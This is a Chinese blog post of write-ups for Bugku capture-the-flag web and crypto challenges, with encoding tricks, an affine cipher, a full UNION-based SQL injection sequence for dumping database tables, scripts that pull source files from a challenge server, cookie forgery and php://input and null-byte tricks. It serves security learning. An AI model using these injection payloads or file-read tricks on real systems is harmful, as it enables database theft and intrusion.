bugku web/crypto 系列题目思路总结(三)

本文总结了Bugku平台上的多个Web和Crypto系列的解题思路,涉及Base64编码、进制转换、SQL注入、仿射加密、正则表达式和Cookie欺骗等技术。通过实例解析了如何利用这些技术解决问题,并提供了相关资源链接和解题代码片段,旨在帮助读者提升网络安全技能。
摘要由CSDN通过智能技术生成

bugku 告诉你一个秘密

参考博文:https://www.jianshu.com/p/3cacf1dd479c
需要了解base64编码特征才能想到。
利用键盘位置做密码很巧妙。

bugku 这不是md5

确实不是md5,十六进制字符串直接转字符即可。

bugku 贝斯家族

base编码系列除了64之外还有16 32 36 58 62 91等。后面的数字为用于编码的种类,数字越大,一般来讲编码效率越高。
http://ctf.ssleye.com/base91.html

bugku 富强民主

一个少见编码,核心价值观编码
http://ctf.ssleye.com/cvencode.html

bugku 进制转换

编写脚本,根据首字母进行进制转换即可
代码如下:

def jinzhizhuanhuan(str1):
    strnew = ''
    arr = str1.split(' ')
    for i in arr:
        if(i[0] == 'b'):
            strnew+= chr(int(i[1:],2))
        elif(i[0] == 'd'):
            strnew+= chr(int(i[1:]))
        elif(i[0] == 'x'):
            strnew+= chr(int(i[1:],16))
        elif(i[0] == 'o'):
            strnew+= chr(int(i[1:],8))
    return strnew

bugku affine

这道题属于仿射加密,将字母限制在0-25中,进行运算然后对26取余。
代码如下:

def affineEncode(str):
    newstr = ''
    for i in str:
        newstr += chr(((ord(i)-97)*17+18)%26+97)
    return newstr

def affineDecode(str):
    newstr = ''
    for i in str:
        x = ord(i)-97
        for i in range(26):
            if(x == (17 * i + 18) % 26):
                newstr += chr(i+97)
    return newstr

bugku 来自宇宙的信号

一种特殊字母——标准银河字母(百度上有)。
(枉我对着图片进行各种操作,以为是图片隐写,以为是图片高度问题,以为是符合文件问题,想多了)

bugku 学生成绩查询

一个标准sql注入问题,在这里做积累
此处注入点为id

  1. 先检查是否存在漏洞,id = 1, id = 1’, id = 1’# (#为注释掉后面的语句。)
    在此发现1’出现错误而1’#可以正常运行说明存在注入。
  2. 检查列数。id = 2’ order by 4/5# (猜测有4列还是5列)此处为4列
  3. 使用联合查询,要把前面查询设置为空 id =0’union select 1,2,3,4#(如果不设为空,会把位置用数据填上查询不到)
    id=0' union select 1,database(),user(),version()#(对数据库进行爆破)
    根据数据库查询表名。
    id = 0' union select 1,( select group_concat(table_name) from information_schema.tables where table_schema=database() ),user(),version()#
    根据表名查询字段名
    id = 0' union select 1,( select group_concat(column_name) from information_schema.columns where table_schema='skctf_flag' and table_name='fl4g' ),user(),version()#
    有了表名有了字段名,可以查询具体值

bugku 秋名山老司机

目的是快速反弹post请求。利用python requests库。编写代码

    import requests
    s= requests.Session()
    r = s.get('http://123.206.87.240:8002/qiumingshan/')

    answer = eval(r.text.split('<div>')[1].split('=')[0])
    post = {'value': answer}
    print(s.post('http://123.206.87.240:8002/qiumingshan/', data=post).text)

上述代码,在过滤网页文字得到数字的部分可以利用正则表达式。
eval函数可以直接计算字符串中的算式。
s = re.search(r'^<div>(.*)=\?</div>$', r.text, re.M | re.S)
此处re.M 让正则多行匹配。 re.S让 . 可以匹配换行符

bugku cookies欺骗

http://123.206.87.240:8002/web11/
直接进入的乱码无意义,参数一个是行数和文件名。
文件名末尾有一个= 等号,猜测为base64编码,解码为keys.txt
(可以验证访问http://123.206.87.240:8002/web11/keys.txt。发现index.php可以访问文件的某一行。而目前另一个可访问文件,即当前页面的index.php。)
把index.php编码,写python脚本将整个index.php代码爬下来
代码如下

import requests
code = ''
for i in range(40):
    r = requests.get("http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw")
    code += r.text
print(code)

得到源码:

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){  <--- 重要位置
$file_list[2]='keys.php';                                       <--- 重要位置
} 

if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

发现想要访问keys.php,需要将cookie[margin]设置为cookie
我用的chrome插件EditThisCookie。
访问页面 http://123.206.87.240:8002/web11/index.php?line=0&filename=a2V5cy5waHA=
答案在查看源码的第一行被备注了

bugku never give up

首先根据页面源码提示,访问1p.html
发现1p.html网页存在跳转,于是在网址前面加view-source: 直接看源码,得到一串字符。
观察有很多% 先进行unescape。
把脚本部分去掉,后面部分是个base64,继续解码。
又出现了% 继续unescape。
得到php源码。

php stripos(str,s) 输出s第一次出现在str中的位置
php substr(str,num) 截取字符串从Num位置。
php file_get_contents 将文件读入字符串
php eregi(s,str) 现在弃用了的不区分大小写的正则表达式,匹配字符在字符串是否存在

此处发现关键文件,f4l2a3g.txt 直接访问即可得到flag。
本着学习的态度,继续讨论源码。
源码给出了几个要求。
这里借鉴博客 https://www.cnblogs.com/cyc-endeavor/p/10375692.html

做积累:

php伪协议:之前接触过一点,此处由于file_get_contents()函数只能读取数据流。
php://input可以访问原始请求数据中的数据流。这里令 $a = “php://input”,并在请求主体中提交字符串 bugku is a nice plateform!。
eregi(s , str)截断漏洞: s 部分若出现空字符,则会在正则匹配时被截断
例如: substr($b,0,1) = “\x00123”

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值